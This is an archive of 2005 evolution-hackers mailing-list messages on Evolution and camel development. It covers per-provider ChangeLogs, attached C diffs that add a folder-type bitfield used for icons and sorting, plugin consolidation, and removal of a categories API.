From notzed@ximian.com Mon Jan 31 19:43:00 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4A46412519C; Mon, 31 Jan 2005 19:43:00 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id B0E791248A9 for ; Mon, 31 Jan 2005 19:42:48 -0500 (EST) Received: (qmail 18531 invoked from network); 1 Feb 2005 00:42:46 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 00:42:46 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-CBAS87CD8ACT122ulXh2" Date: Tue, 01 Feb 2005 08:37:59 +0800 Message-Id: <1107218279.14609.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, hits=8.6 required=5.0 tests=HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] camel provider changelogs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-CBAS87CD8ACT122ulXh2 Content-Type: text/plain Content-Transfer-Encoding: 7bit Please note the camel providers now have their own ChangeLog's. So use them, not the main camel ChangeLog. e.g. 2005-01-31 Parthasarathi Susarla * providers/groupwise/camel-groupwise-folder.c shouldn't be done anymore. If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one. --=-CBAS87CD8ACT122ulXh2 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

Please note the camel providers now have their own ChangeLog's.  So use them, not the main camel ChangeLog.

e.g.
2005-01-31  Parthasarathi Susarla <sparthasarathi@novell.com>

* providers/groupwise/camel-groupwise-folder.c

shouldn't be done anymore.

If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one.

--=-CBAS87CD8ACT122ulXh2-- From notzed@ximian.com Tue Feb 1 02:47:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 1ED081249C5; Tue, 1 Feb 2005 02:47:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7BD3A124BB8 for ; Tue, 1 Feb 2005 02:47:12 -0500 (EST) Received: (qmail 18771 invoked from network); 1 Feb 2005 07:47:10 -0000 Received: from localhost (HELO ?192.168.0.106?) (notzed@127.0.0.1) by localhost with SMTP; 1 Feb 2005 07:47:10 -0000 From: not zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/mixed; boundary="=-4t98At4iJZwK/v5fPuZs" Date: Tue, 01 Feb 2005 15:48:00 +0800 Message-Id: <1107244080.12004.5.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PATCH_UNIFIED_DIFF,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] camel folderinfo type changes Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4t98At4iJZwK/v5fPuZs Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI I've added a 3-bit bitfield to the CamelFolderInfo.flags field, so that providers can specify certain types of folders. This is used primarily to give the folder the right icon, and also for some sorting priorities. This removes the hard-coded hacks of comparing translated folder names - so in some cases the icons may revert. "bummer", they were iconised wrong to start with if they do. It is up to the providers to specify these values, the mailer hard-codes it for the "local folders", since only it applies any meaning to the various folders. I fixed maildir and imap providers, imap4 will need its own fixing, as will groupwise/exchange. Patches attached to outline the changes for those interested/needing to know. PS means you need to update eds and evo to rebuild too --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-eds.diff Content-Type: text/x-patch; name=folder-hint-eds.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? camel/c.diff ? camel/camel-mime-tables.c ? camel/gpg ? camel/trace ? camel/providers/m.diff ? camel/tests/folder/test11 ? camel/tests/message/test4 ? camel/tests/mime-filter/test1 Index: camel/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/ChangeLog,v retrieving revision 1.2421 diff -u -p -r1.2421 ChangeLog --- camel/ChangeLog 1 Feb 2005 05:57:15 -0000 1.2421 +++ camel/ChangeLog 1 Feb 2005 07:39:50 -0000 @@ -1,5 +1,11 @@ 2005-02-01 Not Zed + * camel-store.c (camel_store_get_folder_info): set the folder type + hint. + + * camel-store.h: add a bitfield for a folder-type hint. used to + indicate inbox/trash/etc (mainly for gui icons). + ** See bug #38791 and bug #36142. * camel-gpg-context.c (gpg_ctx_op_step): use poll rather than Index: camel/camel-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.c,v retrieving revision 1.158 diff -u -p -r1.158 camel-store.c --- camel/camel-store.c 1 Feb 2005 00:47:43 -0000 1.158 +++ camel/camel-store.c 1 Feb 2005 07:39:51 -0000 @@ -663,7 +663,7 @@ get_folder_info (CamelStore *store, cons } static void -add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count) +add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count, guint32 flags) { CamelFolderInfo *fi, *vinfo, *parent; char *uri, *path; @@ -711,7 +711,7 @@ add_special_info (CamelStore *store, Cam } /* Fill in the new fields */ - vinfo->flags |= CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH; + vinfo->flags |= flags; vinfo->full_name = g_strdup (name); vinfo->name = g_strdup (translated); vinfo->uri = uri; @@ -775,9 +775,9 @@ camel_store_get_folder_info(CamelStore * if (info && (top == NULL || *top == '\0') && (flags & CAMEL_STORE_FOLDER_INFO_NO_VIRTUAL) == 0) { if (info->uri && (store->flags & CAMEL_STORE_VTRASH)) - add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE); + add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_TRASH); if (info->uri && (store->flags & CAMEL_STORE_VJUNK)) - add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE); + add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_JUNK); } if (camel_debug_start("store:folder_info")) { Index: camel/camel-store.h =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.h,v retrieving revision 1.71 diff -u -p -r1.71 camel-store.h --- camel/camel-store.h 11 Jan 2005 06:12:45 -0000 1.71 +++ camel/camel-store.h 1 Feb 2005 07:39:51 -0000 @@ -74,8 +74,26 @@ typedef struct _CamelFolderInfo { #define CAMEL_FOLDER_SYSTEM (1<<6) /* a virtual folder that can't be copied to, and can only be moved to if in an existing folder */ #define CAMEL_FOLDER_VTRASH (1<<7) +/* a shared folder i'm accessing */ #define CAMEL_FOLDER_SHARED_TO_ME (1<<8) +/* a folder that i'm sharing */ #define CAMEL_FOLDER_SHARED_BY_ME (1<<9) + +/* use 3 bits as a hint for a folder type */ +#define CAMEL_FOLDER_TYPE_MASK (7 << 10) +#define CAMEL_FOLDER_TYPE_BIT (10) +/* a normal folder */ +#define CAMEL_FOLDER_TYPE_NORMAL (0 << 10) +/* an inbox folder */ +#define CAMEL_FOLDER_TYPE_INBOX (1 << 10) +/* an outbox folder */ +#define CAMEL_FOLDER_TYPE_OUTBOX (2 << 10) +/* a rubbish folder */ +#define CAMEL_FOLDER_TYPE_TRASH (3 << 10) +/* a spam folder */ +#define CAMEL_FOLDER_TYPE_JUNK (4 << 10) + +/* next bit is 1<<13 */ /* Structure of rename event's event_data */ typedef struct _CamelRenameInfo { Index: camel/providers/imap/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/ChangeLog,v retrieving revision 1.3 diff -u -p -r1.3 ChangeLog --- camel/providers/imap/ChangeLog 31 Jan 2005 03:48:16 -0000 1.3 +++ camel/providers/imap/ChangeLog 1 Feb 2005 07:39:51 -0000 @@ -1,3 +1,9 @@ +2005-02-01 Not Zed + + * camel-imap-store.c (parse_list_response_as_folder_info): set the + folder-type of inbox to inbox & use the right flags field for + noinferiors hack. + 2005-01-31 Not Zed ** See bug #69757. Index: camel/providers/imap/camel-imap-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/camel-imap-store.c,v retrieving revision 1.312 diff -u -p -r1.312 camel-imap-store.c --- camel/providers/imap/camel-imap-store.c 31 Jan 2005 03:48:16 -0000 1.312 +++ camel/providers/imap/camel-imap-store.c 1 Feb 2005 07:39:52 -0000 @@ -2401,12 +2401,12 @@ parse_list_response_as_folder_info (Came fi->name = g_strdup(camel_store_info_name(imap_store->summary, si)); fi->full_name = g_strdup(camel_store_info_path(imap_store->summary, si)); if (!g_ascii_strcasecmp(fi->full_name, "inbox")) - flags |= CAMEL_FOLDER_SYSTEM; + flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_TYPE_INBOX; /* HACK: some servers report noinferiors for all folders (uw-imapd) We just translate this into nochildren, and let the imap layer enforce it. See create folder */ if (flags & CAMEL_FOLDER_NOINFERIORS) - flags = (fi->flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; + flags = (flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; fi->flags = flags; url = camel_url_new (imap_store->base_url, NULL); Index: camel/providers/local/ChangeLog =================================================================== RCS file: camel/providers/local/ChangeLog diff -N camel/providers/local/ChangeLog --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ camel/providers/local/ChangeLog 1 Feb 2005 07:39:52 -0000 @@ -0,0 +1,8 @@ + +2005-02-01 Not Zed + + * camel-maildir-store.c (get_folder_info): set the + folder type of inbox properly. + + * started new chnagelog. + Index: camel/providers/local/camel-maildir-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/local/camel-maildir-store.c,v retrieving revision 1.42 diff -u -p -r1.42 camel-maildir-store.c --- camel/providers/local/camel-maildir-store.c 17 Jan 2005 09:01:54 -0000 1.42 +++ camel/providers/local/camel-maildir-store.c 1 Feb 2005 07:39:52 -0000 @@ -519,10 +519,10 @@ get_folder_info (CamelStore *store, cons scan = scan->next; } fi->flags &= ~CAMEL_FOLDER_CHILDREN; - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else if (!strcmp(top, ".")) { fi = scan_fi(store, flags, url, ".", _("Inbox")); - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else { const char *name = strrchr(top, '/'); --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-evo.diff Content-Type: text/x-patch; name=folder-hint-evo.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit Index: mail/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution/mail/ChangeLog,v retrieving revision 1.3561 diff -u -p -r1.3561 ChangeLog --- mail/ChangeLog 1 Feb 2005 00:33:53 -0000 1.3561 +++ mail/ChangeLog 1 Feb 2005 07:37:22 -0000 @@ -1,5 +1,20 @@ 2005-02-01 Not Zed + * em-folder-tree-model.c (sort_cb): use the type hint to sort for + inbox, not the name. + (emft_is_special_local_folder): removed. + (em_folder_tree_model_set_folder_info): special-case the + local-store case, handle translated names and the name hints. + + * em-folder-tree.c (render_pixbuf): use the camel folderinfo + folder type to determine the icon, don't hardcode based on name. + + ** See bug #71310 + + * em-composer-prefs.c (sig_add_script_response): force a save of + the signatures as soon as they change. Also save the script name + if we were just editing it, not just the signature name. + ** See bug #71312. * em-folder-view.c (em_folder_view_open_selected): if we're Index: mail/em-composer-prefs.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-composer-prefs.c,v retrieving revision 1.24 diff -u -p -r1.24 em-composer-prefs.c --- mail/em-composer-prefs.c 24 Jan 2005 21:11:07 -0000 1.24 +++ mail/em-composer-prefs.c 1 Feb 2005 07:37:23 -0000 @@ -390,6 +390,8 @@ sig_add_script_response (GtkWidget *widg /* we're just editing an existing signature script */ g_free (sig->name); sig->name = g_strdup (name); + g_free(sig->filename); + sig->filename = g_strdup(script); e_signature_list_change (mail_config_get_signatures (), sig); } else { sig = mail_config_signature_new (script, TRUE, TRUE); @@ -399,6 +401,8 @@ sig_add_script_response (GtkWidget *widg g_object_unref (sig); } + mail_config_save_signatures(); + gtk_widget_hide (prefs->sig_script_dialog); g_strfreev (argv); g_free (script); Index: mail/em-folder-tree-model.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree-model.c,v retrieving revision 1.64 diff -u -p -r1.64 em-folder-tree-model.c --- mail/em-folder-tree-model.c 24 Sep 2004 04:23:29 -0000 1.64 +++ mail/em-folder-tree-model.c 1 Feb 2005 07:37:23 -0000 @@ -184,12 +184,13 @@ sort_cb (GtkTreeModel *model, GtkTreeIte char *aname, *bname; CamelStore *store; gboolean is_store; + guint32 aflags, bflags; int rv = -2; gtk_tree_model_get (model, a, COL_BOOL_IS_STORE, &is_store, COL_POINTER_CAMEL_STORE, &store, - COL_STRING_DISPLAY_NAME, &aname, -1); - gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, -1); + COL_STRING_DISPLAY_NAME, &aname, COL_UINT_FLAGS, &aflags, -1); + gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, COL_UINT_FLAGS, &bflags, -1); if (is_store) { /* On This Computer is always first and VFolders is always last */ @@ -209,9 +210,9 @@ sort_cb (GtkTreeModel *model, GtkTreeIte rv = -1; } else { /* Inbox is always first */ - if (aname && (!strcmp (aname, "INBOX") || !strcmp (aname, _("Inbox")))) + if ((aflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = -1; - else if (bname && (!strcmp (bname, "INBOX") || !strcmp (bname, _("Inbox")))) + else if ((bflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = 1; } @@ -414,16 +415,6 @@ account_removed (EAccountList *accounts, em_folder_tree_model_remove_store (model, si->store); } -/* NB: more-or-less copied from em-folder-tree.c */ -static gboolean -emft_is_special_local_folder(CamelStore *store, const char *name) -{ - /* Bit of a hack to translate local mailbox names */ - return store == mail_component_peek_local_store(NULL) - && (!strcmp (name, "Drafts") || !strcmp (name, "Inbox") - || !strcmp (name, "Outbox") || !strcmp (name, "Sent")); -} - void em_folder_tree_model_set_folder_info (EMFolderTreeModel *model, GtkTreeIter *iter, struct _EMFolderTreeModelStoreInfo *si, @@ -437,6 +428,7 @@ em_folder_tree_model_set_folder_info (EM struct _CamelFolder *folder; gboolean emitted = FALSE; const char *name; + guint32 flags; if (!fully_loaded) load = fi->child == NULL && !(fi->flags & (CAMEL_FOLDER_NOCHILDREN | CAMEL_FOLDER_NOINFERIORS)); @@ -468,10 +460,22 @@ em_folder_tree_model_set_folder_info (EM camel_object_unref(folder); } - if (emft_is_special_local_folder(si->store, fi->full_name)) - name = _(fi->name); - else - name = fi->name; + /* TODO: maybe this should be handled by mail_get_folderinfo (except em-folder-tree doesn't use it, duh) */ + flags = fi->flags; + name = fi->name; + if (si->store == mail_component_peek_local_store(NULL)) { + if (!strcmp(fi->full_name, "Drafts")) { + name = _("Drafts"); + } else if (!strcmp(fi->full_name, "Inbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_INBOX; + name = _("Inbox"); + } else if (!strcmp(fi->full_name, "Outbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_OUTBOX; + name = _("Outbox"); + } else if (!strcmp(fi->full_name, "Sent")) { + name = _("Sent"); + } + } gtk_tree_store_set ((GtkTreeStore *) model, iter, COL_STRING_DISPLAY_NAME, name, @@ -479,7 +483,7 @@ em_folder_tree_model_set_folder_info (EM COL_STRING_FULL_NAME, fi->full_name, COL_STRING_URI, fi->uri, COL_UINT_UNREAD, unread, - COL_UINT_FLAGS, fi->flags, + COL_UINT_FLAGS, flags, COL_BOOL_IS_STORE, FALSE, COL_BOOL_LOAD_SUBDIRS, load, -1); Index: mail/em-folder-tree.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree.c,v retrieving revision 1.142 diff -u -p -r1.142 em-folder-tree.c --- mail/em-folder-tree.c 27 Jan 2005 07:05:56 -0000 1.142 +++ mail/em-folder-tree.c 1 Feb 2005 07:37:24 -0000 @@ -279,7 +279,6 @@ render_pixbuf (GtkTreeViewColumn *column GdkPixbuf *pixbuf = NULL; gboolean is_store; guint32 flags; - char *full_name; if (!initialised) { folder_icons[FOLDER_ICON_NORMAL] = e_icon_factory_get_icon ("stock_folder", E_ICON_SIZE_MENU); @@ -292,27 +291,33 @@ render_pixbuf (GtkTreeViewColumn *column initialised = TRUE; } - gtk_tree_model_get (model, iter, COL_STRING_FULL_NAME, &full_name, - COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); - if (!is_store && full_name != NULL) { - if (!g_ascii_strcasecmp (full_name, "Inbox")) + gtk_tree_model_get (model, iter, COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); + + if (!is_store) { + switch((flags & CAMEL_FOLDER_TYPE_MASK)) { + case CAMEL_FOLDER_TYPE_INBOX: pixbuf = folder_icons[FOLDER_ICON_INBOX]; - else if (!g_ascii_strcasecmp (full_name, "Outbox")) + break; + case CAMEL_FOLDER_TYPE_OUTBOX: pixbuf = folder_icons[FOLDER_ICON_OUTBOX]; - else if (!strcmp (full_name, CAMEL_VTRASH_NAME)) + break; + case CAMEL_FOLDER_TYPE_TRASH: pixbuf = folder_icons[FOLDER_ICON_TRASH]; - else if (!strcmp (full_name, CAMEL_VJUNK_NAME)) + break; + case CAMEL_FOLDER_TYPE_JUNK: pixbuf = folder_icons[FOLDER_ICON_JUNK]; - else if (flags & CAMEL_FOLDER_SHARED_TO_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; - else if (flags & CAMEL_FOLDER_SHARED_BY_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; - else - pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + break; + default: + if (flags & CAMEL_FOLDER_SHARED_TO_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; + else if (flags & CAMEL_FOLDER_SHARED_BY_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; + else + pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + } } g_object_set (renderer, "pixbuf", pixbuf, "visible", !is_store, NULL); - g_free (full_name); } static void --=-4t98At4iJZwK/v5fPuZs-- From notzed@ximian.com Tue Feb 1 04:03:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C620D124451; Tue, 1 Feb 2005 04:03:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 28499124468 for ; Tue, 1 Feb 2005 04:03:15 -0500 (EST) Received: (qmail 18808 invoked from network); 1 Feb 2005 09:03:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 09:03:13 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-FnKRwk4k+fNU9d6d2YKL" Date: Tue, 01 Feb 2005 16:58:17 +0800 Message-Id: <1107248297.4622.14.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, hits=11.5 required=5.0 tests=BAYES_90,HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: *********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] plugins for groupwise/exchange/etc Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/plain Content-Transfer-Encoding: 7bit I've noticed that there are many plugins for groupwise at least, each one doing one little thing. They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after. It just clutters everything up. --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

I've noticed that there are many plugins for groupwise at least, each one doing one little thing.

They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after.  It just clutters everything up.


--=-FnKRwk4k+fNU9d6d2YKL-- From rodrigo@novell.com Tue Feb 1 08:00:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 774B0125206; Tue, 1 Feb 2005 08:00:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 286F7125288 for ; Tue, 1 Feb 2005 07:59:49 -0500 (EST) Received: (qmail 18938 invoked from network); 1 Feb 2005 12:59:48 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 12:59:48 -0000 From: Rodrigo Moya To: Evolution Hackers Content-Type: multipart/mixed; boundary="=-9xF7GpahfhgteCypW65s" Date: Tue, 01 Feb 2005 13:57:45 +0100 Message-Id: <1107262665.1274.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=1.8 required=5.0 tests=BAYES_10,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *ref_categories methods removed Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9xF7GpahfhgteCypW65s Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi I removed the other day the backend API for notifying clients of category changes. Now the search bar (which is what was using that) just displays all categories, so no need for backends to keep updating the list of used categories. I made the attached change to evolution-exchange, which I guess would be needed for other backends too. -- Rodrigo Moya --=-9xF7GpahfhgteCypW65s Content-Disposition: inline Content-Description: Forwarded message - GNOME CVS: evolution-exchange rodrigo Content-Type: message/rfc822 Return-Path: X-Original-To: rodrigo@gnome-db.org Delivered-To: rodrigo@gnome-db.org Received: from localhost (localhost [127.0.0.1]) by mail.gnome-db.org (Postfix) with ESMTP id 74C9A24004 for ; Tue, 1 Feb 2005 12:40:12 +0000 (UTC) Received: from mail.gnome-db.org ([127.0.0.1]) by localhost (mail.gnome-db.org [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 00803-05 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from menubar.gnome.org (menubar.gnome.org [12.107.209.248]) by mail.gnome-db.org (Postfix) with ESMTP id 76F0524002 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 00B263B119C; Tue, 1 Feb 2005 07:40:08 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11997-01; Tue, 1 Feb 2005 07:40:01 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 3CCB53B1225; Tue, 1 Feb 2005 07:39:58 -0500 (EST) X-Original-To: cvs-commits-list@mail.gnome.org Delivered-To: cvs-commits-list@mail.gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id C2D473B1240 for ; Tue, 1 Feb 2005 07:39:53 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11896-09 for ; Tue, 1 Feb 2005 07:39:52 -0500 (EST) Received: from container.gnome.org (container.gnome.org [12.107.209.249]) by menubar.gnome.org (Postfix) with ESMTP id 04C313B1225 for ; Tue, 1 Feb 2005 07:39:27 -0500 (EST) Received: by container.gnome.org (Postfix, from userid 70) id B47A6165E4D; Tue, 1 Feb 2005 07:39:26 -0500 (EST) To: cvs-commits-list@mail.gnome.org X-CVS-Module: evolution-exchange Message-Id: <20050201123926.B47A6165E4D@container.gnome.org> Date: Tue, 1 Feb 2005 07:39:26 -0500 (EST) From: gnomecvs@container.gnome.org (Gnome CVS User) X-Virus-Scanned: by amavisd-new at gnome.org Cc: Subject: GNOME CVS: evolution-exchange rodrigo X-BeenThere: cvs-commits-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gnome-hackers@gnome.org List-Id: CVS Logs List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: cvs-commits-list-bounces@gnome.org Errors-To: cvs-commits-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at gnome-db.org Mime-Version: 1.0 Content-Transfer-Encoding: 7bit CVSROOT: /cvs/gnome Module name: evolution-exchange Changes by: rodrigo 05/02/01 07:39:26 Modified files: . : ChangeLog calendar : e-cal-backend-exchange-calendar.c Log message: 2005-02-01 Rodrigo Moya * calendar/e-cal-backend-exchange-calendar.c (create_object, modify_object_with_href, remove_object): removed usage of removed categories API. URL : http://cvs.gnome.org/bonsai/cvsquery.cgi?branch=&dir=evolution-exchange&who=rodrigo&date=explicit&mindate=2005-02-01%2007:38&maxdate=2005-02-01%2007:40 _______________________________________________ cvs-commits-list mailing list cvs-commits-list@gnome.org http://mail.gnome.org/mailman/listinfo/cvs-commits-list --=-9xF7GpahfhgteCypW65s-- From jpr@novell.com Tue Feb 1 08:12:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A2903124FBA; Tue, 1 Feb 2005 08:12:12 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id A02D412488F for ; Tue, 1 Feb 2005 08:11:54 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 06:11:51 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Sivaiah Nallagatla Cc: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107239902.9842.4.camel@Gr8-Siva.hathaway> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 08:11:46 -0500 Message-Id: <1107263506.15530.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-24.7 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 